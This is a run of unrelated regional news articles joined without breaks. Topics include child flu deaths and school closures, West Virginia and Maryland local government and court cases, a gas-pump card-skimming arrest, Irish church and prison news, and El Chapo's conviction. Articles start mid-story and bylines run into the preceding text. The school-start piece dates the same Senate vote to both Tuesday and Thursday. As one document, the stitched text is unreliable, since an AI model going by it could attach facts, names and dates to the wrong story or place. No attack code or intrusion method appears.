Grinage told ABC 13 he wished he had asked doctors to check his only child for infection the first time he was in the emergency room.

"I'm mad at myself. I'm mad at everyone. I'm mad at the hospital. I'm mad at God," he said. "I can't lie to you."

Flu outbreak closes four schools

The latest CDC weekly report shows that 28 children have died this flu season.

But New York City and 24 states, such as Colorado, Indiana and Virginia, are reporting "high" activity. Flu outbreaks are responsible for closing schools in at least four states.

Some of the school administrators said they are using the closure time to clean and disinfect the school of flu germs.

MORE: You've probably never heard about this flu symptom

Mississippi

Kemper County in eastern Mississippi is calling off classes on Monday, Feb. 11, and Tuesday, Feb. 12 because of the flu. Superintendent Jackie Pollock says 100 students with flu symptoms have been absent from the elementary and high school over the last week. Pollock said closing schools will allow students to rest and visit doctors.

In north Mississippi, the North Tippah School District and the South Tippah School District canceled classes Friday because of the illness. Staff used the closure to clean classrooms to remove germs that cause the flu. News outlets reported as many as 350 students absent because of the flu in the school districts last week.

North Carolina

A North Carolina school system canceled classes for students and staff Friday, Feb. 8 because of flu. Ashe County Public Schools superintendent Phyllis Yates said 452 students were out sick from the systems five schools and early learning center. Another 38 students who came to school were sent home. Thirty teachers were out sick and substitutes couldnt be found to replace them. Yates said work crews would disinfect the schools while classes were canceled.

Alabama

An elementary and middle school in northern Alabama were closed the three days last week because the district was having trouble finding substitutes because of staff absences. Lawrence County Schools Superintendent Jon Bret Smith told news outlets that families of Moulton Elementary School and Moulton Middle School should use the time to recover.

Idaho

Three Idaho school districts closed earlier this month, one district after a huge number of its students were absent because of the flu.

Firth, Shelley and Fremont school districts in eastern Idaho have closed their schools because of a record number of absences for one or more days, the Idaho State Journal reported.

The Fremont School District shut down the day after a third of its study body didn't attend because of "flu-like illnesses," the newspaper reported.

"It falls out of the air and lands on a shopping cart, remote controls and doorknobs," Eastern Idaho Public Health surveillance epidemiologist Mike Taylor said of the flu virus. "Wash your hands frequently. When you leave a public area, sanitize and wash your hands."

The Associated Press contributed to this report.

READ MORE:

This article originally appeared on USA TODAY: Dad rages after 4-year-old daughter dies of flu complicationsMatthew Umstead

mumstead@herald-mail.com

MARTINSBURG, W.Va.  A company has applied with the West Virginia Department of Environmental Protection to participate in a voluntary environmental-cleanup program to address potential contaminants on about 69 acres of former orchard property south of Martinsburg.

Martinsburg Investors LLC of Newtown Square, Pa., is aiming to build a more-than-830,000-square-foot warehousing facility at the site, which is near 500 Corning Way off U.S. 11, the environmental department said this week in a public notice.

The remediation site is south of a more-than-350,000-square-foot structure built as part of the Mid-Atlantic 81 Logistics Park project, which is backed by Equus Capital Partners Ltd.

Martinsburg Investors is an entity of Equus Capital Partners, a private real-estate investment-fund manager.

The environmental department said Tuesday in its announcement that the site, known as Bryarly Manor Orchard, previously was used for agricultural and orchard activities and is known to contain arsenic, lead, and pesticides associated with past activities.

The environmental department said its Office of Environmental Remediation is negotiating a voluntary remediation agreement with the company to address the environmental conditions.

The agreement includes provisions for assessing potential environmental contaminants; evaluating human health and ecological risks; establishing remediation standards; and performing any cleanup necessary to meet the standards, environmental department officials said in a news release.

As part of the process outlined in the states Voluntary Remediation and Redevelopment Act, a final report documenting the completed work must be submitted to the state, according to the environmental department.

Methods for the proposed cleanup and to control possible health exposure will be based on environmental-risk assessments.

Dan DiLella Jr. of Equus Capital Partners said last month that more than $100 million of investment is being considered as part of a 150-acre logistics-park project that envisions 1.9 million square feet of building space.

Residents may review or obtain copies of Martinsburg Investors remediation application at the Martinsburg Public Library at 101 W. King St. or from the DEPs environmental-remediation office in Charleston, W.Va.

Questions or comments about the application may be directed to Gregory E. Tieman of TRC Environmental Corp. in Charleston at 304-346-2599 or Erin Brittain of the DEP at 304-368-2000.Matthew Umstead

matthewu@herald-mail.com

MARTINSBURG, W.Va.  Two special education aides linked to allegations of verbal abuse of children at an elementary school in Martinsburg have submitted resignation letters to the Berkeley County Board of Education.

A special call school board meeting is scheduled at 6 p.m. on Thursday to approve the personnel actions, which are to take effect that day, according to the meeting agenda.

Berkeley County Schools Superintendent Manny Arvon confirmed Tuesday that he received the resignation letters from the school aides at Berkeley Heights Elementary School, but said he could not comment further due to state and federal privacy laws.

The school aides were placed on administrative leave in the fall after the allegations of the verbal abuse surfaced at the school, which is off Hack Wilson Way.

A classroom teacher, who also was linked to the allegations, resigned in the fall. The school board approved that resignation on Dec. 4.

The children who were in that classroom were placed at other schools in the district, officials have said.

Berkeley County Prosecuting Attorney Catie Wilkes Delligatti said last week that a parents secret audio recording at her childs elementary school confirmed numerous instances of verbal abuse of children by employees, but there was no evidence of a crime.

Delligatti described the treatment of the children as shocking and disturbing, but noted that verbal abuse, under state law, is not a criminal act.

A mother provided Delligattis office with eight hours of audio recording in the classroom made by hiding a recording device in her childs hair.

A statement Delligati released on Friday said an investigator in her office found that the recording contained numerous instances of verbal abuse that are frankly unconscionable.

Martinsburg police also investigated the audio recording and also found no evidence of a crime, according to Delligatti.

The school district reiterated in a statement on Friday that it was conducting an internal investigation and cooperating fully with the investigation by the West Virginia Department of Health and Human Resources Child Protective Services.

Berkeley County Schools will not tolerate any action or inaction that impacts the health, welfare and safety of our students, the school districts statement said.Jenni Vincent

jvincent@herald-mail.com

BERKELEY SPRINGS, W.Va.  A popular downtown Berkeley Springs tourist attraction is closed for major renovation work.

The Old Roman Bathhouse building closed Jan. 1, and work there is expected to be finished in time for the summer season, spa Manager Jamie Foltz said.

The projected reopening date is June 1, and a lot of renovation work is planned, she said.

Upgrades to the bathhouse, which is part of Berkeley Springs State Park, will cost a little less than $1 million to complete, according to West Virginia Department of Natural Resources data.

The building dates to 1815, and its baths use the parks mineral spring water, which flows at a constant temperature of 74.3 degrees.

It offers Roman-style soaking tubs that feature 750-gallon tubs with steps to walk down into the water, Foltz said.

The tubs are filled with the mineral water from the spring and it is heated up to about 102 degrees, she said. Folks can soak individually, co-ed or as a family. All of the baths are private.

We are replacing all the tile in the tubs and building benches in them. We will also have a handicapped-accessible tub, as well as a handicapped-accessible bathroom.

The lobby area is being expanded and there will be a new retail area, Foltz said.

Other improvements include installing a new boiler and upgrading the buildings heating, ventilation and air-conditioning system, she said.

Our new boiler system will allow us to fill multiple tubs at a time because before, we could only fill one at a time. So that will be very helpful for us, she said.

Windows are being replaced to make the building more period correct, and there also will be some brick repairs done on its exterior, Foltz said.

The Main Bathhouse still is open and offers a wide selection of spa services, including massages, saunas, baths and showers.BORDERLAND BEAT

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WAYNESBORO, Pa.  A student at Waynesboro Area Senior High School recently was selected to represent his community as a national youth delegate to the 2019 Washington Youth Summit on the Environment at George Mason University.

Garrison Russ joins 300 students from across the country to participate in an intensive, weeklong study of leadership in environmental science and conservation, according to a summit news release.

Russ was chosen based on academic accomplishments and a demonstrated interest and excellence in leadership in the sciences and conservation studies, the release said.

George Mason University, National Geographic and the National Zoo will welcome the countrys young scholars to Washington, D.C.

The student leaders who are aspiring environmentalists will have access to distinguished faculty, guest speakers and elite Washington practitioners.

The Washington Youth Summit on the Environment will be held June 23 to 28.Joyce F. Nowell

jnowell@herald-mail.com

GREENCASTLE, Pa.  Weather is the latest culprit to get in the way of a solution for Rescue Hose Co. to correct zoning issues with Greencastle so the organization can dispense of its property formerly known as the Special Events Center.

Officials hoped that action Monday night by the Greencastle Planning Commission would be a positive step toward resolving the issue, but a winter storm forced cancellation of the meeting.

Nearly a year ago, Rescue Hose sought to sell the building at 407 S. Washington St. to the current lessee, Blue Heron Events.

The proposed sale was thwarted when no record could be found of how the building was allowed to be built in 1981 in the residential-zoned area, where it is not a permitted use. Rescue Hose officials were told to wait for a solution that would come with a comprehensive rezoning being planned, but that initiative was put on the back burner midway through 2018.

In lieu of waiting for the rezoning issue to be revived, Mayor Ben Thomas Jr. suggested to the planning commission in September that event centers be made a conditional use in the zoning district.

The commission endorsed the idea and was to consider the conditional-use change at its Oct. 8 meeting. Before that could happen, the borough councils Community Development Committee led by H. Duane Kinzer instead endorsed a plan to advise Rescue Hose to seek a variance on the property.

The commission didnt meet in October and the subject was not on the November meeting agenda. There was no commission meeting in January, and Monday nights session was snowed out. The agenda included consideration of making multipurpose venues a conditional use in general-residential zoning. The council will have the final say on any zoning change.

Rescue Hose officials approached the borough council in early January, asking again for a resolution to the issue, and council President Steve Miller directed the committee to revisit it.

Miller reversed course last week and the council agreed to discharge the committee from further consideration of the rezoning request.

He instead wants the commission to consider Thomas proposal, and noted that Roberts Rules of Order preclude two functions within a government from working on the same issue concurrently.

I became aware there was not an official action taken by the planning commission, that they supported the mayors proposal, Miller said of discharging the committee. I want the commission to review it and take a position.

Kinzer believes his committee will continue to favor a variance, and he asserted that is why his committee was discharged.

I wanted to get it over with, he said. Id like to get the fire company and Blue Heron resolved. I feel its up to us to get off our butts and get er done. Im sorry to the Rescue Hose. I dont like to have people hung up. My apologies to everybody.Jennifer Fitch

waynesboro@herald-mail.com

MONT ALTO, Pa.  Forty teenagers settled into desks with pencils in their hands Wednesday to tackle some of the most difficult math questions they have encountered.

Students, including those from the Chambersburg Area and Waynesboro Area school districts, faced geometry, calculus, statistics and other branches of mathematics at Penn State Mont Alto. They were participating in the Mathematical Association of Americas American Mathematics Competitions program.

Its nice to figure out what you can and cant do, said Rebekah Cordell, a Waynesboro senior.

Students scoring well enough on the regional test have opportunities to advance to additional levels, including the national competition.

Those taking the exam for an hour and 15 minutes likely found they needed to employ more problem-solving skills than what they see in their high school curriculum, according to Ashley Wiley, instructor of mathematics at Penn State Mont Alto.

Wiley said she enjoys meeting the students as they register in the morning for the competition.

If they were nervous, they were hiding it well, she said.

While Rebekah was taking the exam for a fourth year, Waynesboro freshman Meghan Childers was taking it for the first time. She read all of the questions and first knocked out the ones she thought would be easiest.

Meghan thought the exam would be good practice to evaluate her math skills.

It was harder than I expected, but I didnt really know what to expect, she said.

The answer to the pictured question is C.Mike Lewis

mlewis@herald-mail.com

In saluting the co-founders of a dog rescue organization Tuesday, Maryland Comptroller Peter Franchot said his thoughts turned to his best friend, Henry.

Henry is a yellow Labrador retriever.

Im personally moved by the work you do, he told Laurie Brewer and Kelly Middleton, co-founders of For Otis Sake. Citing his familys fondness for their pet, Franchot said, If anything is ever needed by Henry, no expense is ever spared.

For Otis Sake, founded in 2014, is named after another Labrador retriever.

The organization rescues, rehabilitates and finds homes for at-risk dogs from underfunded and overcrowded shelters and animal control facilities across the country.

The organization uses donations and money earned through fundraising to cover costs such as veterinary care, food and training expenses. It also works with foster families who care for dogs until they can be placed permanently.

Since it was founded, For Otis Sake has rescued and assisted in the adoption of almost 400 animals. The return rate on adoptions is less than 3 percent.

In recognition of its contributions, Franchot presented the organization with the William Donald Schaefer Helping People Award for Washington County Tuesday during a ceremony at the Washington County Chamber of Commerce in downtown Hagerstown.

The award was created to honor the legacy of public service exemplified by Schaefer, a former Baltimore mayor and Maryland governor and comptroller. One recipient is selected from each of Marylands 24 jurisdictions.

Were beyond grateful and humbled to get this award, Brewer said.

Brewer said For Otis Sake is not a shelter.

We have a great Humane Society here. ... We focus on rural animal control facilities across the United States, she said.

In many of those facilities, dogs are at risk of being euthanized.

We do what we can to help the dogs, Brewer said.

That often means treating them for illnesses or medical conditions, having them spayed and neutered, and putting the canines through training.

Were committed to training, and we spend a fair amount of money on training, Brewer said.

The number of rescued dogs varies.

It can be 100 to 150. It can be a year where we do 70 to 75, Brewer said.

A lot of it is based on how many foster homes we have available, Middleton added.

Brewer and Middleton stressed that For Otis Sake is an all-volunteer organization, from leaders to foster families. Given that, Middleton said, its easy to be swamped by day-to-day details.

Sometimes it takes something like this (award) to make you see the big picture, she said.Don Aines

dona@herald-mail.com

Squalid conditions in a Hagerstown apartment were described Tuesday during a plea hearing for a woman whose infant son suffered a fractured skull and other injuries, allegedly from his father.

Washington County Circuit Court Judge Brett R. Wilson delayed sentencing for 31-year-old Leslie Ann Rowland until August after she pleaded guilty on Tuesday to neglect of a child, the sole charge she faced.

Assistant States Attorney Sarah Mollett-Gaumer asked for the delay until after the trial of co-defendant Jason P. McLaughlin. He is charged with inflicting serious injuries on his then-2-month-old son.

Mollett-Gaumer said Rowland is expected to testify for the state in McLaughlins case if it goes to trial.

McLaughlin, 38, is charged with first-degree child abuse resulting in severe physical injury, first-degree assault and other offenses in the July 8, 2018, incident. His trial is scheduled for five days in July.

The apartment in the first block of West Franklin Street was littered with garbage, soiled diapers and cigarette butts, and there was no crib for the infant, Mollett-Gaumer told Wilson. The baby was born addicted to methadone and spent his first 28 days in a hospital, she said.

Despite that, Rowland failed to take her baby to follow-up appointments and did not seek medical care for injuries he suffered over a period of one to two weeks before his skull was fractured, Mollett-Gaumer told Wilson.

Police went to McLaughlins and Rowlands home on July 8 after Rowland reported the baby was having trouble breathing, the charging document said. McLaughlin told Rowland that the infant was not breathing and appeared disoriented.

An officer saw that the infant had a head injury. The baby was flown by helicopter to Johns Hopkins Childrens Center in Baltimore, where it was determined he had a fractured skull, a neck injury and a broken thigh bone, the document said. The infant underwent surgery to remove a portion of his skull to allow for swelling of the brain.

Doctors found older injuries, including broken ribs. The child also had retinal hemorrhages in both eyes that were too numerous to count, the document said.

Mollett-Gaumer said after Tuesdays plea hearing that the boy since has been released from the hospital.

McLaughlin told police on July 8 that the baby started to cry and he violently picked him up, causing the babys head to hit his shoulder. He then rushed from the room and accidentally struck (the babys) head on the door, he reported.

Rowland was interviewed on July 11 and told police she did not cause the injuries or know how they occurred. McLaughlin watched the child in the mornings, so she could go to a methadone clinic, Rowland told police.

McLaughlin was interviewed the next day and told police that on several occasions, he got angry and violently picked (the baby) up, sometimes shaking the infant, the document said.

McLaughlin allegedly told police he was changing the boys diaper when he pulled on his legs really hard and heard a popping sound, the document said. He also admitted to squeezing the child too hard, possibly causing the rib fractures.Don Aines

daines@herald-mail.com

A Hagerstown man arrested last year with large amounts of marijuana, cocaine and pills  along with handguns  pleaded guilty last week and was sentenced to 10 years in state prison.

John Richard Titus, 33, pleaded guilty to possession of a firearm by a felon and possession of cocaine with intent to distribute, according to court records. Washington County Circuit Court Judge Mark K. Boyer sentenced Titus to 35 years in prison, suspending all but 10 years.

Titus, who was scheduled for a three-day trial this week, is not eligible for parole during the five-year portion of the sentence for the firearms charge.

At 11:42 p.m. Feb. 17, 2018, Hagerstown police went to the 800 block of West Washington Street to investigate a disturbance involving a gun, the statement of probable cause said. Jamilatu Adama Tarawally told police her boyfriend, Titus, pointed a gun at her head during an argument.

Tarawally told police that Titus, who she said lived in her apartment, was still inside.

Officers went to the entrance of the apartment and knocked, the charging document said. Titus approached the door with a gun in his hand, peeking through the blinds and hiding a gun in a black plastic bag before surrendering to police, the document said.

In the apartment, police found 46 pounds of suspected marijuana, about 2 1/2 pounds of cocaine, 332 ecstasy pills, 12 bottles of liquid codeine, 416 packets of THC oil, two handguns and two ballistic vests, according to a Hagerstown police news release at the time of the incident. The gun in the trash bag had three live rounds in it, the release said.

At Titus bond hearing last year, Washington County States Attorney Charles P. Strong said Titus was convicted in 2011 of possession with intent to distribute a large amount of narcotics, possession with intent to distribute oxycodone and use of a firearm in a drug-trafficking crime. Titus received a 15-year parole-eligible prison sentence, according to online court records.

In that case, narcotics task force agents charged Titus and another man with possessing more than 100 pounds of marijuana and nearly $300,000 in cash.

Titus later petitioned the court to modify his sentence and was released from prison in April 2017, online court records show.

A violation-of-probation hearing on the 2011 case is scheduled for March 11. If found to have violated probation, Titus could be sentenced to prison for the rest of that 15-year sentence.

Tarawally, 27, pleaded guilty in September 2018 to possession with intent to distribute cocaine and was sentenced to six years in prison, with all but 18 months suspended, according to court records.Dave McMillion

davem@herald-mail.com

WILLIAMSPORT  People packed the Williamsport Community Building Tuesday night as the National Park Service laid out its plans for a new multi-million-dollar C&O Canal headquarters. A county official said the headquarters will be part of the rebirth of the Potomac River town.

Kevin Brandt, superintendent of the Chesapeake & Ohio Canal National Historical Park, said his agency will spend about six months working on the planning and design for the headquarters. The C&O parks staff will move from a building along Dual Highway in Hagerstown to the former Miller Lumber Company on West Potomac Street.

Brandt anticipates having a groundbreaking around August or September, starting construction in late fall and moving into the facility around September 2020.

The National Park Service held a public meeting Tuesday night to get input from local residents about how the facility should be designed. Parts of the former lumber company date to the late 1700s. Park Service officials are looking for historic photos of the building and other information as they design the complex.

Brandt has said he wants people to feel like theyre stepping back in time.

There were suggestions at Tuesdays meeting about incorporating parts of the old structures into the new design.

The facility will put the headquarters within steps of the canal in Williamsport, where a number of improvements have been made or are underway, including the ongoing renovation of the Conococheague Aqueduct.

Brandt said the Williamsport section of the canal could see significant visitation, especially given its proximity to tourists traveling through the nearby crossroads of Interstates 81 and 70. He said he wants to see dropoff areas developed at the site for buses bringing school kids and tour groups to the facility, and improve on ways to get visitors across U.S. 11 to see other parts of the canal along the river.

Brandt said he is so excited about the headquarters, which will cost about $17 million, that he can hardly see straight.

I tell you, if we could, we would be packing our bags tonight and moving to Williamsport, he said.

Brandt called for the community and the Park Service to continue working together in planning the headquarters.

He said public meetings will be held and the public is invited to an old trolley building across from the visitors center at the Cushwa Basin on March 2 from 10 a.m. to 3 p.m. People may bring historic photographs of the West Potomac Street area, including the lumber company, to the trolley building, so they can be scanned.

People were also invited to bring historic photos to Tuesdays meeting, also to be scanned.

Williamsport-area resident John James and his wife, Marion, brought several historic photos related to the 1936 flood in town. One photo showed cars lined up on U.S. 11 waiting to get into town to see the floodwaters.

You wouldnt think you would have a traffic jam that far back, Marion James said.

Becky Conrad of Williamsport brought in some photos, including one of a 1962 parade in town.

Conrad said her great-grandfather, Jacob Poffenberger, worked at Miller Lumber Company. Poffenberger was an estimator. Conrad said she remembered him reading blueprints to determine what type of materials customers would need for projects.

Conrad said she was tickled to learn about the Park Services interest in the buildings history.

I would hate to see it if they paved it over and built a Walmart, Conrad said.

The Washington County Historic Trust is suggesting saving the facades of the lumber company, as well as a stone structure known as the Van Lear house.

The house, which was part of the lumber building, also was used as a tavern and a warehouse in addition to a residence, said Martin Brubaker, a member of the trusts board of directors.

He said the house dates to the 1790s.The Herald-Mail

ANNAPOLIS  A vote in the Maryland Senate on Tuesday was over who should decide when school starts.

But whether the vote was genuinely about giving that power back to local school boards or trying to assert power over the governor was a topic of discussion before and after the vote was taken.

Gov. Larry Hogan issued an executive order in 2016 mandating that public schools begin classes after Labor Day and finish by June 15, beginning with 2017-18. The order allowed waivers for school systems that show compelling reasons why the new schedule wont work for them.

Hogan said last week that voters overwhelmingly support starting school after Labor Day.

He was responding to proposed legislation by Senate Education, Health and Environmental Affairs Committee Chairman Paul Pinsky, D-Prince Georges, that would countermand the governors order and send the decision back to local school boards.

Washington County Public Schools Superintendent Boyd Michael testified in favor of the bill during a hearing Jan. 30. The Senate approved the bill Tuesday, 31-13.

The vote ran along party lines, with Sen. George Edwards, R-Washington/Allegany/Garrett, opposed. Sen. Andrew Serafini, R-Washington, is recuperating from surgery and was absent.

Edwards said hes all for local control despite his vote. Most of the school boards out our way want to make the decision, which I dont have a problem with, he said. But this issue is more of, they want to get Gov. Hogan versus the real issue of whether you start before or after Labor Day.

So based on that, Im siding with the governor and giving him one on this one.

Hogan also concluded the bill, which now goes to the House for consideration, was directed at him. He spoke against it last week, announcing he would seek a referendum if it passes.

After Thursdays Senate vote, Hogans office took to Twitter, saying The Maryland Senate just voted against the will of over 70% of Marylanders who want schools to start classes after Labor Day  Get this: some of the senators who voted today to stop the post-Labor Day school start have actually SPONSORED legislation to start schools after Labor Day in the past  as recently as 2016. If that isnt blatant, partisan hypocrisy, then I dont know what is.

But regardless of whether there was a partisan motive behind the bill, it doesnt have anything to do with politics for me, Michael told Herald-Mail Media on Tuesday.

Were very appreciative of Gov. Hogans support for Washington County, he said. But on this issue, he said, the decision of when to start school should be made locally.

How much time?

While schools must provide 180 days of instruction, Edwards, a former teacher, said, You dont teach a whole lot the last two weeks . I just think the whole schedule needs [to be] relooked at, and whether 180 days is appropriate or not, I dont know.

Michael said most of the school calendar is dictated by state law and employee contracts, leaving little flexibility for school officials to rearrange it.

During debate on the bill last week, Pinsky said school officials, including Michael, told his committee that the post-Labor Day mandate was causing additional problems.

Michael said during the bill hearing that Washington County moved to a pre-Labor Day start several years ago as a means to try and get more of the educational days in prior to the testing period each year.

He added that even when school started before Labor Day, attendance averaged 97 percent. Students are ready to come back to school, he said.

He also said school would start so late in 2020-21, when Labor Day is Sept. 7, there would only be time for one snow day.

Michael said Tuesday that school is more productive in late August and early September than at the end of the school year, and if there were many snow days in 2021, we might have to go to school until the third week in June.

Were generally very supportive of Gov. Hogan and appreciative of all hes done for us, he added. But even from a conservative standpoint, I want to maximize every educational dollar. In Washington County, he said, the cost for school is $1 million a day. We have a responsibility to the taxpayers to make sure every day is a productive day.Provo, UT (84601)

Today

Thunderstorms likely this morning. Then a chance of scattered thunderstorms this afternoon. High 76F. Winds W at 5 to 10 mph. Chance of rain 90%..

Tonight

Partly cloudy. Low near 55F. Winds NE at 5 to 10 mph.In 2017, about two weeks after the East Bay Times won a Pulitzer Prize for its coverage of the deadly Ghost Ship fire in Oakland, the paper announced one round in a series of layoffs that left Digital Firsts three Bay Area newspapers with less than half the employees they had in 2011. Last year, after the Denver Post laid off nearly a third of its staff, its editorial board published blistering criticism of the papers owners and reporters traveled across the country to protest outside Aldens Manhattan offices.

James Angel, associate professor of finance in the Georgetown Universitys McDonough School of Business, said other investment firms have used a similar strategy to monetize industries in decline.

Alden is doing what I would call a pure liquidation strategy  which is, no new investment and sell off what you can while you can,  he said.

In June, Digital First announced it was closing the longtime downtown home of the Pottstown Mercury, outside Philadelphia, and gave employees a choice: They could work out of the newspapers printing plant, a 45-minute drive away, or work from home.

Veteran municipal reporter Evan Brandt  one of four reporters left at the paper  chose to work out of his attic. The papers old office is on the market for $500,000.U.S. Secret Service Agent in Charge Jason Brown said Tuesday the individuals were then able to create cards with the information obtained at the pumps.

He noted that most card skimmers used recently are installed internally and cannot be seen by the naked eye. Electronically, the information is transferred and used to create cards that can then be used at ATMs and businesses.

Information about how to install card skimmers in gas pumps and how to use the information obtained through the skimmers can be found online, which makes it possible for anyone to commit such a crime, Brown said.

The First Amendment of the Bill of Rights gives people a right to share information about how to use card skimmers, Brown said, so theres nothing authorities can really do to stop the spread of information.

The Secret Service is assisting local agencies in multiple jurisdictions, including agencies in the Tri-Cities and Knoxville. Its not known whether the three were working with anyone else, Brown said.

Last week, Bristol, Virginia, police charged Uver and Ramirez with 77 felony charges and 41 misdemeanor charges of credit/debit card forgery, credit/debit card fraud, obtaining money by false pretense and conspiracy to commit a felony.William Kevin Carter was being unloaded from the Regional Jail van at the Washington County Court House where he was scheduled to have court this morning in the General District Court Room for Obtaining Money by False Pretense, Failure to Perform Promise for Construction in Return for Advances, Work Without a Contractors License and Fugitive From Justice from Sullivan County TN on a Attempted Murder Warrant. When Carter came to the door of the van and fled on foot. Southwest Virginia Regional Jail officer called Central Dispatch and advised an inmate had slipped his handcuffs and leg cuffs and had escaped on foot.BRISTOL, Va.  Police are searching for a man who led them on an early morning chase Wednesday after driving his truck towards police.

Officers with the Bristol Virginia Police Department were called to Jones Manor in Bristol, Virginia on reports of a man with a gun, according to BVPD Detective Anthony Johnson. Upon arrival, they found Billy Stratton, 26, of Kingsport, inside a truck. Officers approached the truck and tried to ask Stratton to get out of the vehicle. He refused.

As officers neared the vehicle, Stratton drove towards the officers. Johnson said police initiated a pursuit but had to stop once he crossed over the Tennessee state line. Stratton crashed into a fence behind American Legion but it was not damaged to the point where it was unusable, police said.

He then escaped. Stratton had no known residence in Bristol but police know of a possible location in Kingsport where he could turn up. Johnson said his department has been in contact with the Sullivan County Sheriffs Office to keep an eye on the location.

Stratton is wanted for attempted capital murder of a police officer and felony eluding. He is also wanted out of Sullivan County on a probation violation warrant.The Dante community has received a brownfields assistance grant as it works to resurrect the former Arty Lee School.

Russell County has been awarded a Virginia Brownfields Assistance Fund Remediation Grant on behalf of the Dante Community Association for $215,000, according to a news release.

Funds from the grant will support the redevelopment of the former school property at the intersection of Sawmill Hollow Road and Laurel Branch in Dante. The funds are in support of remediation work, principally the removal and disposal of debris and mining cores, removal and disposal of an above storage tank, the abatement of asbestos and building demolition, as outlined in an application to the Virginia Department of Environmental Quality.

We are excited about the potential for the revitalization on this property and feel this is a significant award in helping to propel the revitalization project forward, said Russell County District II Supervisor Lou Ann Wallace, who has been involved in the project.

The VBAF provides grants or loans to local governments to promote restoration and redevelopment of brownfield sites and to address environmental problems or obstacles to reusing the sites so they can be marketed to economic development prospects.Note: We've recently updated our online systems. If you can't login please try resetting your password. You must login with an email address. If you don't have an email associated with your account email customercare@heraldandnews.com for help creating one.Emer Duffy and Killian Casey were blessed by Bishop Denis Nulty at the shrine of St Valentine yesterday

A senior bishop has said that when it comes to Catholic weddings, couples still want a priest officiating in a church.

Bishop Denis Nulty - who is president of Accord, the Catholic marriage agency - blessed engaged couple Emer Duffy and Killian Casey, from Rathfarnham, at the shrine of St Valentine in Whitefriar Street Church yesterday.

They are set to marry next year.

In front of the relics of St Valentine, Dr Nulty highlighted that this year marks the 1,750th anniversary of the death of the Roman saint, and said many couples visit the Dublin shrine as an act of homage to their love.

Speaking to the Herald about Accord's figures for last year, the Bishop said 16,048 individuals attended marriage preparation courses with Accord.

Central Statistics Office figures have shown that 52pc of all those who married opted for a Catholic wedding.

Asked about the role of lay Catholics in presiding at funerals and whether they might also preside at weddings, Bishop Nulty said: "I think we have to see where the other possibilities of lay involvement are.

"Some people are registered solemnisers of civil marriage, but that's a slightly different thing.

"The fact that 52pc are choosing to marry in the Catholic Church, saying we believe in this and this is important to us, is a superbly positive fact.

"I think people want the priest and the church."

A new study of 3,000 people for Accord, carried out by Maynooth University, was also unveiled.

It focuses on the issues and outcomes from counselling by the agency.

problems

Among the issues identified as contributing to relationship problems were mobile technology and social media.

Issues of culture, religion and values were also identified as contributing to relationship difficulties.

"For some couples, their belief systems, the value they place on education, their cultures may be very different," Dr Nulty said.

"We're going to become much more diverse in Ireland in the future, and Accord's marriage preparation will have to take this issue into greater consideration in the years ahead."The family of a brutally murdered Irish father-of-two has paid a moving birthday tribute to him - and vowed they will continue to defend his name.

Tributes were paid to Jason Corbett on what would have been his 43rd birthday, with his sister Tracey vowing that they will provide support to the North Carolina authorities to ensure her brother's wife and father-in-law face justice for killing him.

In her birthday message, Tracey admitted that the Limerick family remains heartbroken at his loss.

"To the world you were just one person - but to us you were our whole world," she said.

"This gift of being your sister, this inexplicable pain I would rather endure than having not known you. I will continue to walk the Earth with you in my heart, Jason. Happy birthday"

Jason's wife Molly (35) and father-in-law Tom Martens (68) were convicted of his second-degree murder at his luxury home outside Winston-Salem in North Carolina.

He had relocated from Limerick to North Carolina with his packaging company in 2011 because his American wife was homesick in Ireland.

Both Molly and Tom Martens are now serving 20 to 25 years in North Carolina prisons.

Tracey spearheaded an Irish campaign to support North Carolina prosecutors through their investigation of the case.

However, the father and daughter have appealed their convictions and sentences - and a controversial Facebook page, "Free Tom and Molly", is campaigning on their behalf.

Outraged

Members of the Corbett family were outraged at some of the allegations contained on the Facebook page.

Last month, Tracey - with her husband, sister, brother and a friend - flew to the US to attend the North Carolina Court of Appeals hearing to show their support for prosecutors in the killers' appeal.

Tracey said her family remain convinced that justice for her brother will be upheld.

"We put our faith in the law and the justice system in North Carolina over Jason's murder and that faith was fully justified given the guilty verdicts returned by the jury in Davidson County Superior Court in August 2017," she said.

"We wanted to attend the Court of Appeals hearing to show our support for the North Carolina police and prosecutors who did such an incredible job in bringing my brother's killers to justice."

The three-judge panel reserved their judgment, which is now expected between April and June. The pair's appeal was based on claims they acted in self-defence as well as issues with the trial judge, jury and the prosecution's forensic evidence.Inmates slept on cell floors 3,438 times in the past three months because of overcrowding in Irish prisons, new figures have shown.

Half of the country's 12 prisons have reported having to accommodate inmates on the floor since last November owing to a shortage of bed spaces.

The practice was most prevalent in Limerick Prison, where male inmates slept on the floor 1,162 times - an average of 12 every night.

Mattresses

Female prisoners were forced to sleep on the floor on 404 occasions - an average of four per night.

Last month alone, there were 213 instances of women sleeping on cell floors.

The six prisons where inmates were forced to sleep on mattresses on floors were Cloverhill, Wheatfield, Midlands, Castlerea, Cork and Limerick.

No prisoners slept on floors at Arbour Hill, Loughan House, Portlaoise, Shelton Abbey, Mountjoy or the Dochas Centre.

At Cloverhill, prisoners were accommodated on floors on 900 occasions - an average of nearly 10 every night.

On January 22, as many as 30 inmates were forced to sleep on the floor.

At the Midlands Prison in Portlaoise, where killers Graham Dwyer, Gerald Barry and Mark Nash are detained, inmates slept on the floor 509 times.

Prisoners were accommodated on cell floors 272 times at Castlerea, Co Roscommon.

An average of two inmates slept on the floor every night at Cork Prison, where the practice occurred on 189 occasions.

Only two prisoners have slept on cell floors at Wheatfield in the past three months.

The figures were revealed by Justice Minister Charlie Flanagan in response to a parliamentary question from TD Clare Daly.

He noted that governors are required by law to accept all prisoners committed to prison by the courts.

"The Irish Prison Service therefore has no control over the numbers at any given time," he added.

"My officials work with the governors to alleviate capacity issues by identifying prisoners who may be suitable for transfer to other prisons or structured early release."Mexico's most notorious drug lord, Joaquin 'El Chapo' Guzman, has been convicted in the US of running an industrial-scale smuggling operation after a three-month trial.

The evidence was packed with Hollywood-style tales of grisly killings, political pay-offs, cocaine hidden in jalapeno cans, jewel-encrusted guns and a naked escape with his mistress through a tunnel.

Guzman faced a drumbeat of drug-trafficking and conspiracy convictions that could put the 61-year-old escape artist behind bars for decades in a maximum-security US prison, selected to thwart another of the breakouts that embarrassed his native country.

Avalanche

New York jurors, whose identities were kept secret, reached a verdict after deliberating for six days, sorting through what authorities called an "avalanche" of evidence gathered since the late 1980s that Guzman and his murderous Sinaloa drug cartel made billions in profits by smuggling drugs into the US.

Evidence showed drugs poured into the US through secret tunnels or hidden in tanker trucks and railway carriages passing through legitimate points of entry.

The prosecution case against the diminutive Guzman, whose nickname translates as 'Shorty', included the evidence of several turncoats and other witnesses.

